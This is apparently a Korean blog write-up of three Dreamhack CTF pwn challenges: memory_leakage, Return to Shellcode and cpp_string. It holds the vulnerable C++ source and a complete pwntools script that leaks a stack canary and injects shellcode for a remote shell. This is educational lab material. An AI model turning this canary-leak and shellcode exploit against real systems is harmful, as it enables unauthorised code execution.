CTF write up(2)

yxxun1216·2023년 3월 30일
0

Dreamhack


1. memory_leakage

파일을 다운받았더니 memory_leakage 파일과 memory_leakage.c 파일 2개가 있었다.

memory_leakage를 실행했다.

flag는 안 나온다.

더 알아보기 위해 memory_leakage.c 파일을 열었다.

코드를 간단하게 해석해보면 swtich문에서 flag를 구할 수 있게 되어 있다.
먼저 case 1에서는 my_page.name에서 주어진 값인 16바이트까지 입력값을 입력하고 my_page.age에 정수값을 입력한다.
case 2에서는 입력했던 변수를 null바이트까지 출력한다.
case 3에서는 flag값을 flag_buf에 저장한다.

null 바이트가 없을 경우 flag까지 출력이 가능하여 flag를 얻을 수 있다.

접속정보에서 준 주소로 접속해서 name에는 a * 16, age는 int형의 최대범위로 입력해서 case 1에 저장시키고, case 3을 실행시킨 후에 case 2로 출력시키면 flag 값까지 출력되는 것을 확인할 수 있다.

2. Return to Shellcode


문제 파일을 봤더니 r2s 파일과 r2s.c 파일 두 개가 있었다.

r2s.c를 실행시켰다.

코드를 간단하게 해석하면 프로그램이 실행되었을 때 buf의 주소와 buf와 rbp 사이의 거리를 알려준다. 또한 buf에 두 번 입력값을 받는다.

문제를 풀기 위하여 오버플로우를 발생시켜 출력할 때 canary도 leak 되도록 한다.

이를 해결하기 위한 파이썬 코드를 짜는데, 이는 구글링으로 도움을 받았다.
코드는 다음과 같다.

from pwn import *

def slog(n, m): return success(": ".join([n, hex(m)]))

p = process("./r2s")
p = remote('host2.dreamhack.games',15503)
context.arch = "amd64"

# [1] Get information about buf
p.recvuntil("buf: ") # "buf: "까지 읽어들이기
buf = int(p.recvline()[:-1], 16) #개행 앞까지 읽어들이기
slog("Address of buf", buf)
p.recvuntil("$rbp: ") # "$rbp: "까지 읽어들이기
buf2sfp = int(p.recvline().split()[0]) # 공백을 기준으로 리스트를 구성하고 그 중 0번째 인덱스 값을 가져옴
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)


# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

#[3] exploit
shellcode = asm(shellcraft.sh())
payload = shellcode+b"A"*(buf2cnry-len(shellcode))+p64(cnry)+b"B"*0x8+p64(buf)
p.sendline(payload)

p.interactive()

이를 실행하였다.

flag를 확인할 수 있다.

3. cpp_string

문제 파일을 다운받으니 cpp_string 파일과 cpp_string.cpp 파일 2가지가 있었다.

cpp_string 파일을 실행했다.

cpp_string.cpp 파일을 열어보았다.

코드는 다음과 같다.

//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>

char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int read_file(){
        std::ifstream is ("test", std::ifstream::binary);
        if(is.is_open()){
                is.read(readbuffer, sizeof(readbuffer));
                is.close();

                std::cout << "Read complete!" << std::endl;
                return 0;
        }
        else{
                std::cout << "No testfile...exiting.." << std::endl;
                exit(0);
        }
}

int write_file(){
        std::ofstream of ("test", std::ifstream::binary);
        if(of.is_open()){
                std::cout << "Enter file contents : ";
                std::cin >> writebuffer;
                of.write(writebuffer.c_str(), sizeof(readbuffer));
                of.close();
                std::cout << "Write complete!" << std::endl;
                return 0;
        }
        else{
                std::cout << "Open error!" << std::endl;
                exit(0);
        }
}

int read_flag(){
        std::ifstream is ("flag", std::ifstream::binary);
        if(is.is_open()){
                is.read(flag, sizeof(readbuffer));
                is.close();
                return 0;
        }
        else{
                std::cout << "You must need flagfile.." << std::endl;
                exit(0);
        }
}

int show_contents(){
        std::cout << "contents : ";
        std::cout << readbuffer << std::endl;
        return 0;
}

int main(void) {
    initialize();
    int selector = 0;
    while(1){
        std::cout << "Simple file system" << std::endl;
        std::cout << "1. read file" << std::endl;
        std::cout << "2. write file" << std::endl;
        std::cout << "3. show contents" << std::endl;
        std::cout << "4. quit" << std::endl;
        std::cout << "[*] input : ";
        std::cin >> selector;

        switch(selector){
                case 1:
                        read_flag();
                        read_file();
                        break;
                case 2:
                        write_file();
                        break;
                case 3:
                        show_contents();
                        break;
                case 4:
                        std::cout << "BYEBYE" << std::endl;
                        exit(0);
        }
    }
}

flag를 획득하기 위해 2를 입력해서 write_file함수를 실행하고, read buffer에 모든 문자를 채워준다. 다음으로 1번을 입력하고, read 함수가 실행되면 3번을 입력해서 show_content 함수에서 출력값으로 flag를 획득할 수 있다.

flag를 확인할 수 있다.

0개의 댓글